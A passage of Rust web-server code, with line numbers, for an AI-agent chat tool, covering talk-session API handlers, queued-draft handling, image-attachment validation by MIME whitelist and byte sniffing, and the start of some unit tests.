5862
5863#[derive(Debug, Serialize)]
5869struct TalkView {
5870 #[serde(flatten)]
5871 talk: Talk,
5872 turn_bodies_md: Vec<Vec<md::Node>>,
5873 thinking: bool,
5881 context: talk::ContextUsage,
5885}
5886
5887impl TalkView {
5888 fn new(talk: Talk, thinking: bool) -> Self {
5891 let cfg = Config::discover(&talk.repo, None).ok().map(|(cfg, _)| cfg);
5892 Self::with_config(talk, thinking, cfg.as_ref())
5893 }
5894
5895 fn with_config(talk: Talk, thinking: bool, cfg: Option<&Config>) -> Self {
5898 let context = talk::context_usage(&talk, cfg);
5899 let turn_bodies_md = talk
5900 .turns
5901 .iter()
5902 .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
5903 .collect();
5904 Self {
5905 turn_bodies_md,
5906 thinking,
5907 context,
5908 talk,
5909 }
5910 }
5911}
5912
5913#[derive(Debug, Serialize)]
5918struct TalkDetailView {
5919 #[serde(flatten)]
5920 view: TalkView,
5921 tasks: Vec<TaskView>,
5922 roster: Vec<RosterEntry>,
5925 personas: Vec<PersonaEntry>,
5928}
5929
5930#[derive(Debug, Serialize)]
5932struct PersonaEntry {
5933 id: String,
5934 name: String,
5935}
5936
5937#[derive(Debug, Serialize)]
5939struct RosterEntry {
5940 id: String,
5941 kind: AgentKind,
5942 runnable: bool,
5944}
5945
5946async fn talks_list(
5951 State(ui): State<Arc<Ui>>,
5952 Query(q): Query<ListQuery>,
5953) -> ApiResult<Json<Vec<TalkView>>> {
5954 blocking(move || {
5955 let mut configs: HashMap<PathBuf, Option<Config>> = HashMap::new();
5956 Ok(Json(
5957 ui.talks
5958 .list()
5959 .into_iter()
5960 .filter(|talk| q.contains(&talk.id))
5961 .map(|talk| {
5962 let thinking = ui.is_thinking(&talk.id);
5963 let cfg = configs
5964 .entry(talk.repo.clone())
5965 .or_insert_with(|| Config::discover(&talk.repo, None).ok().map(|(c, _)| c));
5966 TalkView::with_config(talk, thinking, cfg.as_ref())
5967 })
5968 .collect(),
5969 ))
5970 })
5971 .await
5972}
5973
5974#[derive(Debug, Default, Deserialize)]
5979#[serde(default)]
5980struct NewTalk {
5981 agent: Option<String>,
5982 repo: Option<PathBuf>,
5983}
5984
5985async fn talk_post(
5988 State(ui): State<Arc<Ui>>,
5989 body: std::result::Result<Json<NewTalk>, JsonRejection>,
5990) -> ApiResult<impl IntoResponse> {
5991 let body = match body {
5995 Ok(Json(body)) => body,
5996 Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
5997 Err(e) => return Err(ApiError::bad_request(e.body_text())),
5998 };
5999 let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
6000 let cfg = config_for(&repo).await?;
6001 let view = blocking(move || {
6002 let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
6003 let thinking = ui.is_thinking(&talk.id);
6004 Ok(TalkView::new(talk, thinking))
6005 })
6006 .await?;
6007 Ok((StatusCode::CREATED, Json(view)))
6008}
6009
6010async fn talk_detail(
6012 State(ui): State<Arc<Ui>>,
6013 Path(id): Path<String>,
6014) -> ApiResult<Json<TalkDetailView>> {
6015 blocking(move || {
6016 let id = resolve_talk(&ui.talks, &id)?;
6017 let talk = ui.talks.get(&id)?;
6018 let thinking = ui.is_thinking(&talk.id);
6019 let tasks = talk::tasks_of(&ui.queue, &talk.id)
6020 .into_iter()
6021 .map(TaskView::from)
6022 .collect();
6023 let roster = Config::discover(&talk.repo, None)
6024 .map(|(cfg, _)| {
6025 cfg.agents
6026 .iter()
6027 .map(|a| RosterEntry {
6028 id: a.id.clone(),
6029 kind: a.kind,
6030 runnable: agent::installed(a),
6031 })
6032 .collect()
6033 })
6034 .unwrap_or_default();
6035 let specs = Config::discover(&talk.repo, None)
6036 .map(|(cfg, _)| cfg.talk.personas)
6037 .unwrap_or_default();
6038 let personas = persona::catalog(&specs)
6039 .into_iter()
6040 .map(|p| PersonaEntry {
6041 id: p.id,
6042 name: p.name,
6043 })
6044 .collect();
6045 Ok(Json(TalkDetailView {
6046 view: TalkView::new(talk, thinking),
6047 tasks,
6048 roster,
6049 personas,
6050 }))
6051 })
6052 .await
6053}
6054
6055#[derive(Debug, Default, Deserialize)]
6061#[serde(default, deny_unknown_fields)]
6062struct NewTalkTurn {
6063 text: String,
6064 attachments: Vec<String>,
6065}
6066
6067#[derive(Debug, Deserialize)]
6068#[serde(deny_unknown_fields)]
6069struct EditTalkPending {
6070 text: String,
6071 expected_text: String,
6072 expected_attachments: Vec<String>,
6073}
6074
6075#[derive(Debug, Deserialize)]
6076#[serde(deny_unknown_fields)]
6077struct ClearTalkPending {
6078 expected_text: String,
6079 expected_attachments: Vec<String>,
6080}
6081
6082async fn talk_say(
6094 State(ui): State<Arc<Ui>>,
6095 Path(id): Path<String>,
6096 body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
6097) -> ApiResult<(StatusCode, Json<TalkView>)> {
6098 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6099 if body.text.trim().is_empty() && body.attachments.is_empty() {
6100 return Err(ApiError::bad_request("say something"));
6101 }
6102
6103 let id = {
6104 let ui = Arc::clone(&ui);
6105 let asked = id.clone();
6106 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6107 };
6108 {
6112 let ui = Arc::clone(&ui);
6113 let id = id.clone();
6114 blocking(move || {
6115 let talk = ui.talks.get(&id)?;
6116 if !talk.status.open() {
6117 return Err(ApiError::conflict(format!(
6118 "talk {} is {} and takes no more turns",
6119 talk.short(),
6120 talk.status.as_str()
6121 )));
6122 }
6123 Ok(())
6124 })
6125 .await?;
6126 }
6127
6128 let attachments = {
6133 let ui = Arc::clone(&ui);
6134 let id = id.clone();
6135 let ids = body.attachments.clone();
6136 blocking(move || {
6137 ids.into_iter()
6138 .map(|att_id| {
6139 ui.talks.attachment_meta(&id, &att_id)?.ok_or_else(|| {
6140 ApiError::bad_request(format!("unknown attachment `{att_id}`"))
6141 })
6142 })
6143 .collect::<ApiResult<Vec<talk::Attachment>>>()
6144 })
6145 .await?
6146 };
6147
6148 let start = {
6153 let ui = Arc::clone(&ui);
6154 let id = id.clone();
6155 blocking(move || ui.begin_talk_turn_unless_pending(&id)).await?
6156 };
6157 let turn_guard = match start {
6158 TalkTurnStart::Claimed(turn_guard) => turn_guard,
6159 TalkTurnStart::Pending => {
6160 return Err(ApiError::conflict(
6161 "a queued draft is waiting; resume it, edit it, or clear it before sending another message",
6162 ));
6163 }
6164 TalkTurnStart::Foreign => {
6165 return Err(ApiError::conflict(
6166 "a turn is already running in another process; try again when it has finished",
6167 ));
6168 }
6169 TalkTurnStart::Busy => {
6170 let (tx, rx) = tokio::sync::oneshot::channel();
6186 tokio::spawn({
6187 let ui = Arc::clone(&ui);
6188 let id = id.clone();
6189 let said = body.text.clone();
6190 async move {
6191 let written = blocking({
6192 let ui = Arc::clone(&ui);
6193 let id = id.clone();
6194 move || {
6195 let mut talk = ui.talks.get(&id)?;
6196 #[cfg(test)]
6201 if let Some(gate) = ui
6202 .busy_queue_gate
6203 .lock()
6204 .unwrap_or_else(PoisonError::into_inner)
6205 .take()
6206 {
6207 let _ = gate.reached.send(());
6208 let _ = gate.release.recv();
6209 }
6210 if let Err(error) =
6211 talk::queue(&mut talk, &ui.talks, &said, attachments)
6212 {
6213 if let Ok(fresh) = ui.talks.get(&id) {
6214 if !fresh.status.open() {
6215 return Err(ApiError::conflict(format!(
6216 "talk {} is {} and takes no more turns",
6217 fresh.short(),
6218 fresh.status.as_str()
6219 )));
6220 }
6221 }
6222 return Err(ApiError::from(error));
6223 }
6224 let claim = match ui.begin_queued_talk_turn(&id)? {
6235 Some(turn_guard) => {
6236 let (cfg, _) = Config::discover(&talk.repo, None)?;
6237 Some((talk.clone(), cfg, turn_guard))
6238 }
6239 None => None,
6240 };
6241 let thinking = ui.is_thinking(&id);
6242 Ok((TalkView::new(talk, thinking), claim))
6243 }
6244 })
6245 .await;
6246 let (view, reclaimed) = match written {
6247 Ok(pair) => pair,
6248 Err(e) => {
6249 let _ = tx.send(Err(e));
6254 return;
6255 }
6256 };
6257 let _ = tx.send(Ok(view));
6260 if let Some((talk, cfg, turn_guard)) = reclaimed {
6261 let talks = ui.talks.clone();
6262 drain_loop(talk, talks, cfg, id, turn_guard).await;
6263 }
6264 }
6265 });
6266 let view = rx
6267 .await
6268 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6269 return Ok((StatusCode::ACCEPTED, Json(view)));
6270 }
6271 };
6272
6273 let (talk, cfg) = {
6274 let ui = Arc::clone(&ui);
6275 let id = id.clone();
6276 blocking(move || {
6277 let talk = ui.talks.get(&id)?;
6278 let (cfg, _) = Config::discover(&talk.repo, None)?;
6279 Ok((talk, cfg))
6280 })
6281 .await?
6282 };
6283
6284 let talks = ui.talks.clone();
6285 let (tx, rx) = tokio::sync::oneshot::channel();
6300 tokio::spawn({
6301 let ui = Arc::clone(&ui);
6302 let talks = talks.clone();
6303 let id = id.clone();
6304 let said = body.text.clone();
6305 let mut talk = talk.clone();
6306 async move {
6307 let recorded = blocking({
6308 let talks = talks.clone();
6309 move || {
6310 if let Err(error) = talk::record(&mut talk, &talks, &said, attachments) {
6311 if let Ok(fresh) = talks.get(&talk.id) {
6312 if !fresh.status.open() {
6313 return Err(ApiError::conflict(format!(
6314 "talk {} is {} and takes no more turns",
6315 fresh.short(),
6316 fresh.status.as_str()
6317 )));
6318 }
6319 }
6320 return Err(ApiError::from(error));
6321 }
6322 Ok((said.trim().to_owned(), talk))
6328 }
6329 })
6330 .await;
6331 let (text, mut talk) = match recorded {
6332 Ok(pair) => pair,
6333 Err(e) => {
6334 let _ = tx.send(Err(e));
6338 return;
6339 }
6340 };
6341 let queued = talk.clone();
6342 let thinking = ui.is_thinking(&id);
6343 let _ = tx.send(Ok((queued, thinking)));
6346
6347 if let Err(e) = turn_guard.respond(&mut talk, &talks, &cfg, &text).await {
6348 tracing::warn!("talk {id} turn failed: {e:#}");
6352 }
6353 drain_loop(talk, talks, cfg, id, turn_guard).await;
6356 }
6357 });
6358
6359 let (queued, thinking) = rx
6360 .await
6361 .map_err(|_| ApiError::internal("the talk turn task ended without answering"))??;
6362
6363 Ok((StatusCode::ACCEPTED, Json(TalkView::new(queued, thinking))))
6365}
6366
6367async fn talk_pending_resume(
6371 State(ui): State<Arc<Ui>>,
6372 Path(id): Path<String>,
6373) -> ApiResult<(StatusCode, Json<TalkView>)> {
6374 let id = {
6375 let ui = Arc::clone(&ui);
6376 let asked = id.clone();
6377 blocking(move || resolve_talk(&ui.talks, &asked)).await?
6378 };
6379 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6380 return Err(ApiError::conflict(
6381 "a talk turn is already running; the queued draft will be handled by it",
6382 ));
6383 };
6384 let (talk, cfg) = {
6385 let ui = Arc::clone(&ui);
6386 let id = id.clone();
6387 blocking(move || {
6388 let talk = ui.talks.get(&id)?;
6389 if !talk.status.open() {
6390 return Err(ApiError::conflict(format!(
6391 "talk {} is {} and takes no more turns",
6392 talk.short(),
6393 talk.status.as_str()
6394 )));
6395 }
6396 if talk.pending.is_empty() && talk.pending_attachments.is_empty() {
6397 return Err(ApiError::conflict("there is no queued draft to resume"));
6398 }
6399 let (cfg, _) = Config::discover(&talk.repo, None)?;
6400 Ok((talk, cfg))
6401 })
6402 .await?
6403 };
6404 let view = TalkView::new(talk.clone(), true);
6405 let talks = ui.talks.clone();
6406 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6407 Ok((StatusCode::ACCEPTED, Json(view)))
6408}
6409
6410async fn drain_loop(mut talk: Talk, talks: Talks, cfg: Config, id: String, turn: TalkTurnGuard) {
6426 let live_set = Arc::clone(&turn.turns);
6427 let mut turn = Some(turn);
6435 loop {
6436 if !turn.as_ref().is_some_and(TalkTurnGuard::owns) {
6437 tracing::warn!("talk {id} lost its turn lease; not draining further");
6440 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6441 if let Some(turn) = turn.take() {
6442 turn.release(&mut live);
6443 }
6444 break;
6445 }
6446 let observed = live_set
6450 .lock()
6451 .unwrap_or_else(PoisonError::into_inner)
6452 .queued
6453 .get(&id)
6454 .copied()
6455 .unwrap_or(0);
6456 let drained = blocking({
6457 let talks = talks.clone();
6458 move || {
6459 let result = talk::drain(&mut talk, &talks);
6460 Ok((talk, result))
6461 }
6462 })
6463 .await;
6464 let (next_talk, result) = match drained {
6465 Ok(drained) => drained,
6466 Err(e) => {
6467 tracing::warn!(
6468 status = %e.status,
6469 message = %e.message,
6470 "talk {id} could not start queued-text drain"
6471 );
6472 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6473 turn.take()
6474 .expect("held for the whole loop until released here")
6475 .release(&mut live);
6476 break;
6477 }
6478 };
6479 talk = next_talk;
6480 let drained = match result {
6481 Ok(Some(drained)) => drained,
6482 Ok(None) => {
6483 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6484 if live.queued.get(&id).copied().unwrap_or(0) != observed {
6485 continue;
6486 }
6487 turn.take()
6488 .expect("held for the whole loop until released here")
6489 .release(&mut live);
6490 break;
6491 }
6492 Err(e) => {
6493 tracing::warn!("talk {id} could not drain queued text: {e:#}");
6494 let mut live = live_set.lock().unwrap_or_else(PoisonError::into_inner);
6495 turn.take()
6496 .expect("held for the whole loop until released here")
6497 .release(&mut live);
6498 break;
6499 }
6500 };
6501 let responded = match turn.as_ref() {
6502 Some(turn) => turn.respond(&mut talk, &talks, &cfg, &drained).await,
6503 None => talk::respond(&mut talk, &talks, &cfg, &drained).await,
6504 };
6505 if let Err(e) = responded {
6506 tracing::warn!("talk {id} turn failed: {e:#}");
6507 }
6508 }
6509}
6510
6511async fn talk_pending_clear(
6513 State(ui): State<Arc<Ui>>,
6514 Path(id): Path<String>,
6515 body: std::result::Result<Json<ClearTalkPending>, JsonRejection>,
6516) -> ApiResult<Json<TalkView>> {
6517 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6518 blocking(move || {
6519 let id = resolve_talk(&ui.talks, &id)?;
6520 let mut talk = ui.talks.get(&id)?;
6521 if !talk.status.open() {
6522 return Err(ApiError::conflict(format!(
6523 "talk {} is {} and takes no more turns",
6524 talk.short(),
6525 talk.status.as_str()
6526 )));
6527 }
6528 if !talk::clear_pending_if_matches(
6529 &mut talk,
6530 &ui.talks,
6531 &body.expected_text,
6532 &body.expected_attachments,
6533 )? {
6534 return Err(ApiError::conflict(
6535 "queued message changed; reload it before clearing",
6536 ));
6537 }
6538 let thinking = ui.is_thinking(&talk.id);
6539 Ok(Json(TalkView::new(talk, thinking)))
6540 })
6541 .await
6542}
6543
6544async fn talk_pending_edit(
6548 State(ui): State<Arc<Ui>>,
6549 Path(id): Path<String>,
6550 body: std::result::Result<Json<EditTalkPending>, JsonRejection>,
6551) -> ApiResult<Json<TalkView>> {
6552 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
6553 let (view, reclaimed) = blocking({
6554 let ui = Arc::clone(&ui);
6555 move || {
6556 let id = resolve_talk(&ui.talks, &id)?;
6557 let mut talk = ui.talks.get(&id)?;
6558 if !talk.status.open() {
6559 return Err(ApiError::conflict(format!(
6560 "talk {} is {} and takes no more turns",
6561 talk.short(),
6562 talk.status.as_str()
6563 )));
6564 }
6565 if !talk::edit_pending_text(
6566 &mut talk,
6567 &ui.talks,
6568 &body.text,
6569 &body.expected_text,
6570 &body.expected_attachments,
6571 )? {
6572 return Err(ApiError::conflict(
6573 "queued message changed; reload it before editing",
6574 ));
6575 }
6576 let claim = match ui.begin_queued_talk_turn(&id)? {
6577 Some(turn_guard) => {
6578 let (cfg, _) = Config::discover(&talk.repo, None)?;
6579 Some((talk.clone(), cfg, id.clone(), turn_guard))
6580 }
6581 None => None,
6582 };
6583 let thinking = ui.is_thinking(&id);
6584 Ok((TalkView::new(talk, thinking), claim))
6585 }
6586 })
6587 .await?;
6588 if let Some((talk, cfg, id, turn_guard)) = reclaimed {
6589 let talks = ui.talks.clone();
6590 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6591 }
6592 Ok(Json(view))
6593}
6594
6595#[derive(Debug, Deserialize)]
6597struct TalkAgent {
6598 agent: String,
6599}
6600
6601async fn talk_agent(
6606 State(ui): State<Arc<Ui>>,
6607 Path(id): Path<String>,
6608 Json(body): Json<TalkAgent>,
6609) -> ApiResult<Json<TalkView>> {
6610 let id = {
6611 let ui = Arc::clone(&ui);
6612 blocking(move || resolve_talk(&ui.talks, &id)).await?
6613 };
6614 let repo = {
6615 let ui = Arc::clone(&ui);
6616 let id = id.clone();
6617 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6618 };
6619 let cfg = config_for(&repo).await?;
6620 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6621 return Err(ApiError::conflict(
6622 "a talk turn is running; change the agent once it has answered",
6623 ));
6624 };
6625 let switched = {
6626 let ui = Arc::clone(&ui);
6627 let id = id.clone();
6628 let cfg = cfg.clone();
6629 blocking(move || {
6630 let spec = agent::pick(&cfg.agents, Some(&body.agent), &agent::installed)
6631 .map_err(ApiError::bad_request_from)?;
6632 let mut talk = ui.talks.get(&id)?;
6633 if !talk.status.open() {
6634 return Err(ApiError::conflict(format!(
6635 "talk {} is {} and takes no more turns",
6636 talk.short(),
6637 talk.status.as_str()
6638 )));
6639 }
6640 talk::switch_agent(&mut talk, &ui.talks, &spec)?;
6641 Ok(talk)
6642 })
6643 .await
6644 };
6645 let fresh = {
6650 let ui = Arc::clone(&ui);
6651 let id = id.clone();
6652 blocking(move || Ok(ui.talks.get(&id)?)).await
6653 };
6654 let draining = match fresh {
6655 Ok(talk) => {
6656 let draining = talk.status.open()
6657 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6658 let talks = ui.talks.clone();
6659 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6660 draining
6661 }
6662 Err(_) => false,
6663 };
6664 let talk = switched?;
6665 Ok(Json(TalkView::new(talk, draining)))
6666}
6667
6668#[derive(Debug, Deserialize)]
6670struct TalkPersona {
6671 persona: String,
6672}
6673
6674async fn talk_persona(
6678 State(ui): State<Arc<Ui>>,
6679 Path(id): Path<String>,
6680 Json(body): Json<TalkPersona>,
6681) -> ApiResult<Json<TalkView>> {
6682 let id = {
6683 let ui = Arc::clone(&ui);
6684 blocking(move || resolve_talk(&ui.talks, &id)).await?
6685 };
6686 let repo = {
6687 let ui = Arc::clone(&ui);
6688 let id = id.clone();
6689 blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
6690 };
6691 let cfg = config_for(&repo).await?;
6692 let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
6693 return Err(ApiError::conflict(
6694 "a talk turn is running; change the persona once it has answered",
6695 ));
6696 };
6697 let switched = {
6698 let ui = Arc::clone(&ui);
6699 let id = id.clone();
6700 let cfg = cfg.clone();
6701 blocking(move || {
6702 let Some(chosen) = persona::find(&cfg.talk.personas, &body.persona) else {
6703 return Err(ApiError::bad_request(format!(
6704 "unknown persona `{}`",
6705 body.persona
6706 )));
6707 };
6708 let mut talk = ui.talks.get(&id)?;
6709 if !talk.status.open() {
6710 return Err(ApiError::conflict(format!(
6711 "talk {} is {} and takes no more turns",
6712 talk.short(),
6713 talk.status.as_str()
6714 )));
6715 }
6716 talk::switch_persona(&mut talk, &ui.talks, &chosen.id)?;
6717 Ok(talk)
6718 })
6719 .await
6720 };
6721 let fresh = {
6723 let ui = Arc::clone(&ui);
6724 let id = id.clone();
6725 blocking(move || Ok(ui.talks.get(&id)?)).await
6726 };
6727 let draining = match fresh {
6728 Ok(talk) => {
6729 let draining = talk.status.open()
6730 && (!talk.pending.is_empty() || !talk.pending_attachments.is_empty());
6731 let talks = ui.talks.clone();
6732 tokio::spawn(drain_loop(talk, talks, cfg, id, turn_guard));
6733 draining
6734 }
6735 Err(_) => false,
6736 };
6737 let talk = switched?;
6738 Ok(Json(TalkView::new(talk, draining)))
6739}
6740
6741async fn talk_close(
6743 State(ui): State<Arc<Ui>>,
6744 Path(id): Path<String>,
6745) -> ApiResult<Json<TalkView>> {
6746 blocking(move || {
6747 let id = resolve_talk(&ui.talks, &id)?;
6748 let mut talk = ui.talks.get(&id)?;
6749 talk::close(&mut talk, &ui.talks)?;
6750 let thinking = ui.is_thinking(&talk.id);
6751 Ok(Json(TalkView::new(talk, thinking)))
6752 })
6753 .await
6754}
6755
6756async fn talk_reopen(
6758 State(ui): State<Arc<Ui>>,
6759 Path(id): Path<String>,
6760) -> ApiResult<Json<TalkView>> {
6761 blocking(move || {
6762 let id = resolve_talk(&ui.talks, &id)?;
6763 let mut talk = ui.talks.get(&id)?;
6764 talk::reopen(&mut talk, &ui.talks)?;
6765 let thinking = ui.is_thinking(&talk.id);
6766 Ok(Json(TalkView::new(talk, thinking)))
6767 })
6768 .await
6769}
6770
6771async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
6781 blocking(move || {
6782 let id = resolve_talk(&ui.talks, &id)?;
6783 ui.talks.remove(&id)?;
6784 Ok(StatusCode::NO_CONTENT)
6785 })
6786 .await
6787}
6788
6789fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
6791 pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
6792}
6793
6794async fn talk_attachment_post(
6797 State(ui): State<Arc<Ui>>,
6798 Path(id): Path<String>,
6799 headers: HeaderMap,
6800 body: Bytes,
6801) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
6802 let mime = validate_attachment(&headers, &body)?;
6803 let name = filename_header(&headers);
6804 let data = body.to_vec();
6805 blocking(move || {
6806 let id = resolve_talk(&ui.talks, &id)?;
6807 let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
6808 Ok((StatusCode::CREATED, Json(att)))
6809 })
6810 .await
6811}
6812
6813async fn talk_attachment_get(
6816 State(ui): State<Arc<Ui>>,
6817 Path((id, att)): Path<(String, String)>,
6818) -> ApiResult<Response> {
6819 blocking(move || {
6820 let id = resolve_talk(&ui.talks, &id)?;
6821 let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
6822 return Err(ApiError::not_found(format!(
6823 "talk {id} has no attachment `{att}`"
6824 )));
6825 };
6826 Ok(attachment_response(&meta.mime, data))
6827 })
6828 .await
6829}
6830
6831fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
6842 if data.len() > ATTACHMENT_MAX_BYTES {
6843 return Err(ApiError::bad_request(format!(
6844 "attachment is {} bytes, over the {} MiB limit",
6845 data.len(),
6846 ATTACHMENT_MAX_BYTES / (1024 * 1024)
6847 ))
6848 .with_status(StatusCode::PAYLOAD_TOO_LARGE));
6849 }
6850 if data.is_empty() {
6851 return Err(ApiError::bad_request("attachment is empty"));
6852 }
6853 let declared = declared_mime(headers)?;
6854 match sniffed_mime(data) {
6855 Some(sniffed) if sniffed == declared => Ok(declared),
6856 Some(sniffed) => Err(ApiError::bad_request(format!(
6857 "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
6858 ))),
6859 None => Err(ApiError::bad_request(
6860 "the file's bytes do not match any accepted image format",
6861 )),
6862 }
6863}
6864
6865fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
6869 let raw = headers
6870 .get(header::CONTENT_TYPE)
6871 .and_then(|v| v.to_str().ok())
6872 .unwrap_or("")
6873 .split(';')
6874 .next()
6875 .unwrap_or("")
6876 .trim()
6877 .to_ascii_lowercase();
6878 ATTACHMENT_MIME_WHITELIST
6879 .iter()
6880 .find(|&&m| m == raw)
6881 .copied()
6882 .ok_or_else(|| {
6883 if raw == "image/svg+xml" {
6884 ApiError::bad_request(
6885 "SVG is not accepted: it can carry active content (e.g. a <script>), \
6886 not just a picture",
6887 )
6888 } else if raw.is_empty() {
6889 ApiError::bad_request("Content-Type is required for an attachment upload")
6890 } else {
6891 ApiError::bad_request(format!(
6892 "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
6893 image/gif or image/webp"
6894 ))
6895 }
6896 })
6897}
6898
6899fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
6902 if data.starts_with(b"\x89PNG\r\n\x1a\n") {
6903 Some("image/png")
6904 } else if data.starts_with(b"\xff\xd8\xff") {
6905 Some("image/jpeg")
6906 } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
6907 Some("image/gif")
6908 } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
6909 Some("image/webp")
6910 } else {
6911 None
6912 }
6913}
6914
6915fn filename_header(headers: &HeaderMap) -> String {
6921 headers
6922 .get(FILENAME_HEADER)
6923 .and_then(|v| v.to_str().ok())
6924 .map(str::trim)
6925 .filter(|s| !s.is_empty())
6926 .unwrap_or("attachment")
6927 .to_owned()
6928}
6929
6930fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
6937 let content_type = ATTACHMENT_MIME_WHITELIST
6938 .iter()
6939 .find(|&&m| m == mime)
6940 .copied()
6941 .unwrap_or("application/octet-stream");
6942 (
6943 [
6944 (header::CONTENT_TYPE, content_type),
6945 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
6946 ],
6947 body,
6948 )
6949 .into_response()
6950}
6951
6952async fn config_for(repo: &FsPath) -> ApiResult<Config> {
6960 let repo = repo.to_path_buf();
6961 blocking(move || {
6962 let (cfg, _) = Config::discover(&repo, None)?;
6963 Ok(cfg)
6964 })
6965 .await
6966}
6967
6968fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
6974 let mut hits = ids
6975 .into_iter()
6976 .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
6977 match (hits.next(), hits.next()) {
6978 (Some(one), None) => Ok(one),
6979 (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
6980 (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
6981 "`{prefix}` matches more than one {what}, including {a} and {b}"
6982 ))),
6983 }
6984}
6985
6986#[cfg(test)]
6987mod tests {
6988
6989 #[test]
6990 fn holder_reads_the_lease_not_the_record() {
6991 let mut q = Question::new(
6992 "run".to_owned(),
6993 "implement".to_owned(),
6994 "impl-A".to_owned(),
6995 "which?".to_owned(),
6996 String::new(),
6997 Vec::new(),
6998 );
6999 assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
7000 q.cwd = Some("/tmp".to_owned());
7001 assert_eq!(holder_of(&q, None), Some("nobody"));
7002 let beat = |kind, ago: i64| ask::Lease {
7003 kind,
7004 pid: 1,
7005 beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
7006 .unwrap(),
7007 };
7008 let fresh = beat(ask::WaiterKind::Asker, 1);
7009 assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
7010 let daemon = beat(ask::WaiterKind::Daemon, 1);
7011 assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
7012 let stale = beat(ask::WaiterKind::Asker, 3600);
7013 assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
7014
7015 let mut c = Question::new(
7018 "task".to_owned(),
7019 crate::conduct::NODE.to_owned(),
7020 "conduct".to_owned(),
7021 "which?".to_owned(),
7022 String::new(),
7023 Vec::new(),
7024 );
7025 assert_eq!(holder_of(&c, None), Some("nobody"));
7026 c.cwd = Some("/tmp".to_owned());
7027 c.deputy = Some(ask::Deputy::new("brief".to_owned()));
7028 assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
7029 let deputy = beat(ask::WaiterKind::Deputy, 1);
7030 assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
7031 assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
7032
7033 let mut r = Question::new(
7035 String::new(),
7036 crate::bump::NOTICE_NODE.to_owned(),
7037 "release-watch".to_owned(),
7038 "stuck?".to_owned(),
7039 String::new(),
7040 vec!["hold".to_owned()],
7041 );
7042 assert_eq!(holder_of(&r, None), Some("nobody"));
7043 r.deputy = Some(ask::Deputy::new("brief".to_owned()));
7044 assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
7045 r.deputy = None;
7047 r.seat = "bump".to_owned();
7048 assert_eq!(holder_of(&r, None), None);
7049
7050 let mut m = Question::new(
7053 "run".to_owned(),
7054 crate::land::APPROVAL_NODE.to_owned(),
7055 "land".to_owned(),
7056 "merge?".to_owned(),
7057 String::new(),
7058 Vec::new(),
7059 );
7060 assert_eq!(holder_of(&m, None), Some("nobody"));
7061 assert_eq!(
7062 holder_of(&m, Some(&fresh)),
7063 Some("nobody"),
7064 "a lease with no deputy is not a listener"
7065 );
7066 m.deputy = Some(ask::Deputy::new("brief".to_owned()));
7067 assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
7068 assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
7069 assert_eq!(holder_of(&m, None), Some("nobody"));
7070 }
7071
7072 fn stub_config() -> Config {
7073 Config {
7076 agents: vec![crate::config::AgentSpec {
7077 id: "stub".to_owned(),
7078 kind: AgentKind::Command,
7079 model: None,
7080 command: vec!["true".to_owned()],
7081 extra_args: Vec::new(),
7082 env: Default::default(),
7083 prompt_delivery: None,
7084 }],
7085 ..Config::default()
7086 }
7087 }
7088
7089 fn plain_question(seat: &str) -> Question {
7090 Question::new(
7091 String::new(),
7092 "n".to_owned(),
7093 seat.to_owned(),
7094 "s".to_owned(),
7095 String::new(),
7096 Vec::new(),
7097 )
7098 }
7099
7100 #[test]
7101 fn deputies_enabled_follows_the_config() {
7102 let on = stub_config();
7103 assert!(crate::deputy::can_start(Some(&on), ""));
